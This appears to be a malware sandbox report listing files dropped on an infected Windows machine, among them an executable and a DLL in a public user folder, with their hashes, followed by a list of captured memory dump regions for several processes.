Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 10a90bc4b787acd9aba6186c8239765ac1a084379a44361a3515370c4ee595e9
MD5 0f924496960fa073d96cf510804b913f
SHA1 b8de7feb7c0b04cfa431e264dbc01f41aaceaf83
SHA512 82bc54df76cfd5d42c80a83a7e0070ef43eec731850c5cfd6f6ae6df7389bc0b7b807c3731fae63c872a215fe16556310265596f1ae46f814d5fcc25c53706e7
TLSH
T1143196BF2FAD79469B298D8425DFB1252CE5E1C09DC92446A264C4986F443F22F9E50C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 b8f63aaece14286ecca3fb877ef59020e0ce94072ac6bc6c95af7ae034fc7554
MD5 70e8bdc1c869259005b055da1bf005b7
SHA1 0b2543f7da124152592a972d4f86ae619e669c14
SHA512 76f4dd00e97131a2ab8fa0cce3786c3fb215f2f4a282feb2eb5a7bb1c3a4b8285995825dc8749893cc0a1a38a10da90dd5bccc58eb3ccecd3f191bf00809a202
TLSH
T19431D8D38A394112AB1C4F3512E4D23F6CF161686CA84C51253EC26B595AFB76FC5449
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 9dd37c68fcdc12aaedbf18250e218654b46a85434dd5633576043bb9d9ecd27e
MD5 3af8d448c47a281ddfc478994511b796
SHA1 f991bdf59fcb136375c03e64c2bed0ea5730cd1f
SHA512 80a598686b4fadd8d0d8b30484cafcfdeb0b296623b49b0cd96e335936e7e42fc0b8ce6cdf2f6f4a7e26d9b3cf68e224bd8ce90596d0b72a773435936bf2b3f0
TLSH
T1C1F05C0C55FD412DF133EE3E8AD979D70ABBF605280681B806E46B0CA15398BAD52575
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 bc4f3621662f25bf097ae9f485153863526b0fb64460feeca484735710244950
MD5 2aa71b93006c81d180c36acb9e8b5585
SHA1 08ce333d0b756394fbf7f353d6cc0065509ccb2f
SHA512 de228feaeb88e2459eaf5545f86502e2c7de23570279fbdfdc12eeab1f67283fc84a4bd020c3b1a275addc7231ea28b10702b593a71c6faf8305d8cef0360ddf
TLSH
T1BDF0A32D16DA412FF13BD5F446DB3B71A926E232511F127D1AFD02545F50C406C4126C
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_r4rgti15.g1o.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r4rgti15.g1o.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

UxEnhance64.dll

Path C:\Users\Public\twv7iM\UxEnhance64.dll
Size 3.1MB
SHA256 d935b8714faa466503cc53a8bd9e0df3e65780f8eaa670af2d0cb403e69118f0
MD5 eb9ddb7ac290cbe9065b7a4bcb3db3f3
SHA1 0c9fd51bbe3868e55ed76c6647eb76c7a067f5a4
SHA512 818bc331d83a3636cf3ca020b7b84b16c65d53c408d0deb777abacf908740110401b3941850ce8869c96cd70e0ee798b7f16d34fe78e5a5dc92678800e35e2e5
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+A:P9m29xx3Tiqt06ox6+z2rNNrKoA
TLSH
T118E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\twv7iM\adoresd.dat
Size 4.8MB
SHA256 0076efeb0ccafb357dc9653653c728ac02c3be37a07e8ec8189bfecc80a9cb37
MD5 9cb9e392bced041aa341314ed3a1dd1b
SHA1 5d3bef8114a9a499a182f2481823ee78be2b03d3
SHA512 bb64fa2fcc0563678fd99bb19536c2b21a2e043c55cd808d421ef87aba14efe9bf869dffede53d98b2d4ee64d7c26e1145c13f5ec579aec444c966ca31c17eda
SSDEEP 98304:AWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:AWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1933633AB2FC2F55F5583315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\twv7iM\msadox.tb
Size 8KB
SHA256 01351e605db44e629e40b2bb20acc1c57233b57558b6db6d5b9a9256e38e9adc
MD5 3c988f69ed2e62b64ac6b6967781e71e
SHA1 ed8ac35be0912eb19c0327e47fc72c88957ec7f2
SHA512 a406943632b563098ddeef9f62971f4c2177bb4c2f77e6a1452f3c0eafc72d4ca91cac2caaeb9cfe6dbe47faceff6fbaa168992ba53135b3a696e61d632e9f53
SSDEEP 192:eqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:esZqZOXQ3uqvR2Kfzp
TLSH
T194029E05D7A20DC3D2116C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sAm2RX.exe

Path C:\Users\Public\twv7iM\sAm2RX.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/256-531-0x00007FFB8AC30000-0x00007FFB8B14E000-memory.dmp

Download

memory/256-558-0x000001B42C780000-0x000001B42C7CE000-memory.dmp

Download

memory/256-556-0x000001B42D230000-0x000001B42DB07000-memory.dmp

Download

memory/256-562-0x000001B42DEE0000-0x000001B42DF6A000-memory.dmp

Download

memory/256-561-0x000001B42DEE0000-0x000001B42DF6A000-memory.dmp

Download

memory/256-560-0x000001B42DEE0000-0x000001B42DF6A000-memory.dmp

Download

memory/256-564-0x000001B42D230000-0x000001B42DB07000-memory.dmp

Download

memory/256-566-0x000001B42D230000-0x000001B42DB07000-memory.dmp

Download

memory/256-567-0x000001B42D230000-0x000001B42DB07000-memory.dmp

Download

memory/256-559-0x000001B42DEE0000-0x000001B42DF6A000-memory.dmp

Download

memory/256-550-0x000001B42D230000-0x000001B42DB07000-memory.dmp

Download

memory/256-546-0x000001B42D230000-0x000001B42DB07000-memory.dmp

Download

memory/256-530-0x00007FFBABA10000-0x00007FFBABA12000-memory.dmp

Download

memory/256-545-0x000001B42D230000-0x000001B42DB07000-memory.dmp

Download

memory/256-536-0x000001B42D230000-0x000001B42DB07000-memory.dmp

Download

memory/256-538-0x00007FFBABA20000-0x00007FFBABA22000-memory.dmp

Download

memory/256-539-0x000001B42D230000-0x000001B42DB07000-memory.dmp

Download

memory/256-544-0x000001B42D230000-0x000001B42DB07000-memory.dmp

Download

memory/256-543-0x000001B42D230000-0x000001B42DB07000-memory.dmp

Download

memory/2896-591-0x00007FFBABA10000-0x00007FFBABA12000-memory.dmp

Download

memory/2896-587-0x0000022B25F60000-0x0000022B26837000-memory.dmp

Download

memory/2896-580-0x0000022B25F60000-0x0000022B26837000-memory.dmp

Download

memory/2896-588-0x0000022B25F60000-0x0000022B26837000-memory.dmp

Download

memory/2896-577-0x00007FFB8AC30000-0x00007FFB8B14E000-memory.dmp

Download

memory/2896-590-0x0000022B25F60000-0x0000022B26837000-memory.dmp

Download

memory/2896-582-0x00007FFBABA20000-0x00007FFBABA22000-memory.dmp

Download

memory/2896-589-0x0000022B25F60000-0x0000022B26837000-memory.dmp

Download

memory/2896-583-0x0000022B25F60000-0x0000022B26837000-memory.dmp

Download

memory/2988-736-0x0000000003BD0000-0x00000000043AD000-memory.dmp

Download

memory/2988-731-0x00000000014E0000-0x00000000014E1000-memory.dmp

Download

memory/2988-733-0x0000000075250000-0x000000007599A000-memory.dmp

Download

memory/3212-605-0x00000296C4D70000-0x00000296C4E22000-memory.dmp

Download

memory/3212-606-0x00000296C4B30000-0x00000296C4B3A000-memory.dmp

Download

memory/3212-604-0x00000296C4D50000-0x00000296C4D6E000-memory.dmp

Download

memory/3212-600-0x00000296C4AE0000-0x00000296C4B02000-memory.dmp

Download

memory/4140-524-0x0000000002710000-0x000000000271E000-memory.dmp

Download

memory/4140-525-0x00007FFB9CC20000-0x00007FFB9CC32000-memory.dmp

Download

memory/4140-504-0x00007FFB9CC20000-0x00007FFB9CC32000-memory.dmp

Download

memory/4140-2-0x0000000002720000-0x000000000272C000-memory.dmp

Download

memory/4140-1-0x0000000002710000-0x000000000271E000-memory.dmp

Download

memory/4140-0-0x0000000002710000-0x000000000271E000-memory.dmp

Download

memory/5468-676-0x0000000075250000-0x000000007599A000-memory.dmp

Download

memory/5468-693-0x0000000002C70000-0x0000000002C84000-memory.dmp

Download

memory/5468-694-0x0000000003690000-0x0000000003E6D000-memory.dmp

Download

memory/5468-704-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/5468-707-0x0000000003690000-0x0000000003E6D000-memory.dmp

Download

memory/5468-686-0x0000000003690000-0x0000000003E6D000-memory.dmp

Download

memory/5468-719-0x0000000003690000-0x0000000003E6D000-memory.dmp

Download

memory/5468-682-0x0000000003690000-0x0000000003E6D000-memory.dmp

Download

memory/5468-729-0x0000000003690000-0x0000000003E6D000-memory.dmp

Download

memory/5468-681-0x00000000011B0000-0x00000000011B1000-memory.dmp

Download

memory/5468-679-0x0000000003690000-0x0000000003E6D000-memory.dmp

Download

memory/5468-674-0x0000000000DB0000-0x0000000000DB1000-memory.dmp

Download